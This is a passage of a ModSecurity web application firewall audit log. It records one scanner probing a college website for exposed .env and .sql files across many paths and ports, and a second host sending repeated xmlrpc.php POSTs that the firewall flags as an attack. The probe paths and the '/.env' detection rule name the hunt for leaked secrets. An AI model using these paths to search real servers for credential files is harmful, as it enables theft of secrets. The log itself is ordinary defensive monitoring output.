--a0297f2e-A-- [16/Jun/2025:00:43:13.965203 +0530] aE8bSVeqy5hRjKvJEAyaEAAAAAE 185.177.72.210 36316 127.0.0.1 7081 --a0297f2e-B-- GET /:8443/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a0297f2e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f6760791e7cc7f1748af8f7fbd2e743d1750014793; expires=Sun, 15 Jun 2025 20:13:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a0297f2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.c9/metadata/environment/.env"] [unique_id "aE8bSVeqy5hRjKvJEAyaEAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014793305080 660200 (- - -) Stopwatch2: 1750014793305080 660200; combined=1985, p1=403, p2=1486, p3=0, p4=0, p5=95, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a0297f2e-Z-- --9517ed71-A-- [16/Jun/2025:00:43:18.662265 +0530] aE8bTiCwfN5GtQhYhHBBdwAAAAw 185.177.72.210 36520 127.0.0.1 7081 --9517ed71-B-- GET /test/bdd/fixtures/openapi-demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9517ed71-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c5b9e13425a029aa8c33e475c8e1bfe11750014798; expires=Sun, 15 Jun 2025 20:13:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9517ed71-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/openapi-demo/.env"] [unique_id "aE8bTiCwfN5GtQhYhHBBdwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014798017401 644972 (- - -) Stopwatch2: 1750014798017401 644972; combined=2112, p1=402, p2=1603, p3=0, p4=0, p5=106, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9517ed71-Z-- --f4ab403b-A-- [16/Jun/2025:00:43:19.641869 +0530] aE8bTu5gkr5NYpwyzHH1oQAAAAg 185.177.72.210 36568 127.0.0.1 7081 --f4ab403b-B-- GET /:8880/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f4ab403b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2472eb85cd79de276c2e7086033a66d61750014799; expires=Sun, 15 Jun 2025 20:13:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f4ab403b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/dev/.env"] [unique_id "aE8bTu5gkr5NYpwyzHH1oQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014798995148 646784 (- - -) Stopwatch2: 1750014798995148 646784; combined=1881, p1=377, p2=1401, p3=0, p4=0, p5=103, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f4ab403b-Z-- --3dfe790e-A-- [16/Jun/2025:00:43:25.754565 +0530] aE8bVSCwfN5GtQhYhHBBewAAAAw 185.177.72.210 57396 127.0.0.1 7081 --3dfe790e-B-- GET /.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3dfe790e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f6ecdacb74335010e9097ab2768884ba1750014805; expires=Sun, 15 Jun 2025 20:13:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3dfe790e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.example"] [unique_id "aE8bVSCwfN5GtQhYhHBBewAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014805036705 717966 (- - -) Stopwatch2: 1750014805036705 717966; combined=1848, p1=365, p2=1375, p3=0, p4=0, p5=107, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dfe790e-Z-- --3f929f30-A-- [16/Jun/2025:00:43:26.741690 +0530] aE8bVu5gkr5NYpwyzHH1pQAAAAg 185.177.72.210 57470 127.0.0.1 7081 --3f929f30-B-- GET /:8443/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f929f30-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=996f0b8816f57a43f8d4d0f744a96de01750014806; expires=Sun, 15 Jun 2025 20:13:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f929f30-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/build/.env"] [unique_id "aE8bVu5gkr5NYpwyzHH1pQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014806086248 655510 (- - -) Stopwatch2: 1750014806086248 655510; combined=1671, p1=364, p2=1212, p3=0, p4=0, p5=94, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f929f30-Z-- --421cf10f-A-- [16/Jun/2025:00:43:26.851782 +0530] aE8bVVeqy5hRjKvJEAyaFwAAAAE 128.199.112.101 57442 127.0.0.1 7081 --421cf10f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --421cf10f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --421cf10f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8bVVeqy5hRjKvJEAyaFwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014805834013 1017838 (- - -) Stopwatch2: 1750014805834013 1017838; combined=2153, p1=393, p2=1346, p3=48, p4=65, p5=183, sr=103, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --421cf10f-Z-- --dc35d667-A-- [16/Jun/2025:00:43:35.733282 +0530] aE8bXy7MaF0j8lD2KTIVigAAAAM 185.177.72.210 58068 127.0.0.1 7081 --dc35d667-B-- GET /:8443/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dc35d667-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=31562aa694e8ac3e3ddc5fa340b5f3401750014815; expires=Sun, 15 Jun 2025 20:13:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dc35d667-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/dev/.env"] [unique_id "aE8bXy7MaF0j8lD2KTIVigAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014815092552 640794 (- - -) Stopwatch2: 1750014815092552 640794; combined=1932, p1=412, p2=1407, p3=0, p4=0, p5=112, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dc35d667-Z-- --c980f94e-A-- [16/Jun/2025:00:44:26.886428 +0530] aE8bkQW_rlaNA7qLBTtBNQAAAAs 128.199.112.101 56276 127.0.0.1 7081 --c980f94e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c980f94e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c980f94e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8bkQW_rlaNA7qLBTtBNQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014865971013 915521 (- - -) Stopwatch2: 1750014865971013 915521; combined=2380, p1=347, p2=1503, p3=54, p4=79, p5=251, sr=89, sw=146, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c980f94e-Z-- --102d943a-A-- [16/Jun/2025:00:44:31.205577 +0530] aE8blpnj7pFxi-BGHz6q2wAAAAI 185.177.72.210 35254 127.0.0.1 7081 --102d943a-B-- GET /:8080/.env.txt HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --102d943a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c622ca02b807583a7b30525b32ddb6ec1750014870; expires=Sun, 15 Jun 2025 20:14:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --102d943a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.txt"] [unique_id "aE8blpnj7pFxi-BGHz6q2wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014870441547 764092 (- - -) Stopwatch2: 1750014870441547 764092; combined=1613, p1=371, p2=1156, p3=0, p4=0, p5=86, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --102d943a-Z-- --b64aab22-A-- [16/Jun/2025:00:44:39.147320 +0530] aE8bngW_rlaNA7qLBTtBQgAAAAs 185.177.72.210 36398 127.0.0.1 7081 --b64aab22-B-- GET /:8181/bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b64aab22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c6d8dbea0086b48b8d5fe2a28d7fbd81750014878; expires=Sun, 15 Jun 2025 20:14:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b64aab22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/bootstrap/.env"] [unique_id "aE8bngW_rlaNA7qLBTtBQgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014878451732 695691 (- - -) Stopwatch2: 1750014878451732 695691; combined=2072, p1=398, p2=1551, p3=0, p4=0, p5=122, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b64aab22-Z-- --cb716868-A-- [16/Jun/2025:00:44:51.122268 +0530] aE8bqiCwfN5GtQhYhHBBtgAAAAw 185.177.72.210 45342 127.0.0.1 7081 --cb716868-B-- GET /tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cb716868-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6fc05e5fc814508f70b2c8eb88df5af1750014890; expires=Sun, 15 Jun 2025 20:14:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cb716868-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/.env"] [unique_id "aE8bqiCwfN5GtQhYhHBBtgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014890440911 681420 (- - -) Stopwatch2: 1750014890440911 681420; combined=1955, p1=424, p2=1444, p3=0, p4=0, p5=87, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb716868-Z-- --31865c5b-A-- [16/Jun/2025:00:45:02.575564 +0530] aE8btVeqy5hRjKvJEAyaVAAAAAE 185.177.72.210 38066 127.0.0.1 7081 --31865c5b-B-- GET /Simple_server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31865c5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=143d87c24df05e89ee604a916c1b66f61750014902; expires=Sun, 15 Jun 2025 20:15:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31865c5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Simple_server/.env"] [unique_id "aE8btVeqy5hRjKvJEAyaVAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014901840007 735635 (- - -) Stopwatch2: 1750014901840007 735635; combined=2438, p1=507, p2=1827, p3=0, p4=0, p5=104, sr=131, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31865c5b-Z-- --dcb52733-A-- [16/Jun/2025:00:45:06.342593 +0530] aE8buSKD19h5xDtM-2waDwAAAAo 185.177.72.210 38210 127.0.0.1 7081 --dcb52733-B-- GET /:9000/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dcb52733-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=084a5988948c487a5c24d041c97d18741750014906; expires=Sun, 15 Jun 2025 20:15:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dcb52733-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/front-end/.env"] [unique_id "aE8buSKD19h5xDtM-2waDwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014905605352 737323 (- - -) Stopwatch2: 1750014905605352 737323; combined=2552, p1=455, p2=1986, p3=0, p4=0, p5=111, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dcb52733-Z-- --e75d7d36-A-- [16/Jun/2025:00:45:21.084252 +0530] aE8byO5gkr5NYpwyzHH17AAAAAg 185.177.72.210 34720 127.0.0.1 7081 --e75d7d36-B-- GET /temp.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e75d7d36-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=acd791ebf3049664717540dc4c4a0ac81750014920; expires=Sun, 15 Jun 2025 20:15:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e75d7d36-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against 